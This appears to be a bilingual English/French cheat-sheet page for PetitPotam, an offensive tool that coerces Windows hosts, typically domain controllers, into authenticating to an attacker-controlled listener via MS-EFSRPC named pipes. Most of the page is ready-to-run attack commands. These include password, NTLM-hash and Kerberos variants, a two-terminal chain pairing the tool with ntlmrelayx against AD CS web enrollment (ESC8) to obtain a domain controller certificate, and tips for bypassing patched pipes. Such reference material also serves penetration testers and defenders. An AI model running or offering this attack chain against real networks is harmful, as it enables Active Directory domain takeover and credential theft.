PetitPotam

Force un hôte Windows à s'authentifier vers un listener contrôlé par l'attaquant via le named pipe MS-EFSRPC, le moyen classique d'alimenter une attaque de relayage NTLM contre un contrôleur de domaine. Coerces a Windows host into authenticating to an attacker-controlled listener via the MS-EFSRPC named pipe, the classic way to feed an NTLM relay attack against a domain controller.

↗ https://github.com/topotam/PetitPotam

Overview

PetitPotam coerces a Windows host into authenticating to a listener the attacker controls, by abusing the MS-EFSRPC EfsRpcOpenFileRaw (and related) RPC calls over the lsarpc named pipe. It’s the classic way to force a domain controller to authenticate somewhere useful for an NTLM relay attack, most famously against AD CS web enrollment (ESC8).

Basic Usage

Coerce authentication from a target to a listener

python3 PetitPotam.py -u user -p 'password' -d domain.local <LISTENER_IP> <TARGET_IP>

With an NTLM hash instead of a password

python3 PetitPotam.py -u user -hashes :NTLMhash -d domain.local <LISTENER_IP> <TARGET_IP>

With Kerberos authentication

python3 PetitPotam.py -k -no-pass -dc-ip <DC_IP> <LISTENER_IP> <TARGET_IP>

Try every named pipe instead of just lsarpc

python3 PetitPotam.py -u user -p 'password' -d domain.local -pipe all <LISTENER_IP> <TARGET_IP>

Combined Attack: PetitPotam + ntlmrelayx (AD CS ESC8)

Terminal 1: relay incoming NTLM to the CA’s web enrollment

ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController

Terminal 2: coerce the domain controller to authenticate to the relay

python3 PetitPotam.py -u user -p 'password' -d domain.local <ATTACKER_IP> <DC_IP>

Tips

  • Some pipes still work unauthenticated against unpatched targets, but most modern DCs need -u/-p/-d.
  • If lsarpc is patched or blocked, -pipe all falls back to other vulnerable pipes (efsr, lsass, samr, netlogon, …).
  • Pair with ntlmrelayx.py targeting a CA’s /certsrv endpoint for the classic ESC8 chain.
Help / Man page
usage: PetitPotam.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes LMHASH:NTHASH]
                      [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address]
                      [-pipe {lsarpc,efsr,samr,lsass,netlogon,all}] listener target

positional arguments:
  listener               ip address or hostname of the listener (attacker-controlled)
  target                 ip address or hostname of the target

options:
  -u, --username          valid username
  -p, --password          valid password (asked interactively if omitted)
  -d, --domain            valid domain name
  -hashes LMHASH:NTHASH   NT/LM hashes (LM hash can be empty)
  -no-pass                don't ask for password (useful with -k)
  -k                      use Kerberos authentication (grabs credentials from ccache file)
  -dc-ip ip address       domain controller IP, used to build the Kerberos AP-REQ
  -target-ip ip address   IP of the target machine, if different from target
  -pipe                   named pipe to use (default: lsarpc), or "all"

Vue d’ensemble

PetitPotam force un hôte Windows à s’authentifier vers un listener contrôlé par l’attaquant, en abusant des appels RPC EfsRpcOpenFileRaw (et apparentés) de MS-EFSRPC via le named pipe lsarpc. C’est le moyen classique de forcer un contrôleur de domaine à s’authentifier quelque part d’utile pour une attaque de relayage NTLM, le plus souvent contre l’inscription web d’AD CS (ESC8).

Utilisation de base

Forcer l’authentification d’une cible vers un listener

python3 PetitPotam.py -u user -p 'password' -d domain.local <LISTENER_IP> <TARGET_IP>

Avec une empreinte NTLM à la place d’un mot de passe

python3 PetitPotam.py -u user -hashes :NTLMhash -d domain.local <LISTENER_IP> <TARGET_IP>

Avec l’authentification Kerberos

python3 PetitPotam.py -k -no-pass -dc-ip <DC_IP> <LISTENER_IP> <TARGET_IP>

Essayer tous les named pipes plutôt que seulement lsarpc

python3 PetitPotam.py -u user -p 'password' -d domain.local -pipe all <LISTENER_IP> <TARGET_IP>

Attaque combinée : PetitPotam + ntlmrelayx (AD CS ESC8)

Terminal 1 : relayer le NTLM entrant vers l’inscription web de la CA

ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp --adcs --template DomainController

Terminal 2 : forcer le contrôleur de domaine à s’authentifier vers le relais

python3 PetitPotam.py -u user -p 'password' -d domain.local <ATTACKER_IP> <DC_IP>

Conseils

  • Certains pipes fonctionnent encore sans authentification contre des cibles non patchées, mais la plupart des DC modernes nécessitent -u/-p/-d.
  • Si lsarpc est patché ou bloqué, -pipe all retombe sur d’autres pipes vulnérables (efsr, lsass, samr, netlogon, …).
  • Combinez avec ntlmrelayx.py ciblant le point de terminaison /certsrv d’une CA pour la chaîne ESC8 classique.
Aide / Page de manuel
usage: PetitPotam.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes LMHASH:NTHASH]
                      [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address]
                      [-pipe {lsarpc,efsr,samr,lsass,netlogon,all}] listener target

positional arguments:
  listener               ip address or hostname of the listener (attacker-controlled)
  target                 ip address or hostname of the target

options:
  -u, --username          valid username
  -p, --password          valid password (asked interactively if omitted)
  -d, --domain            valid domain name
  -hashes LMHASH:NTHASH   NT/LM hashes (LM hash can be empty)
  -no-pass                don't ask for password (useful with -k)
  -k                      use Kerberos authentication (grabs credentials from ccache file)
  -dc-ip ip address       domain controller IP, used to build the Kerberos AP-REQ
  -target-ip ip address   IP of the target machine, if different from target
  -pipe                   named pipe to use (default: lsarpc), or "all"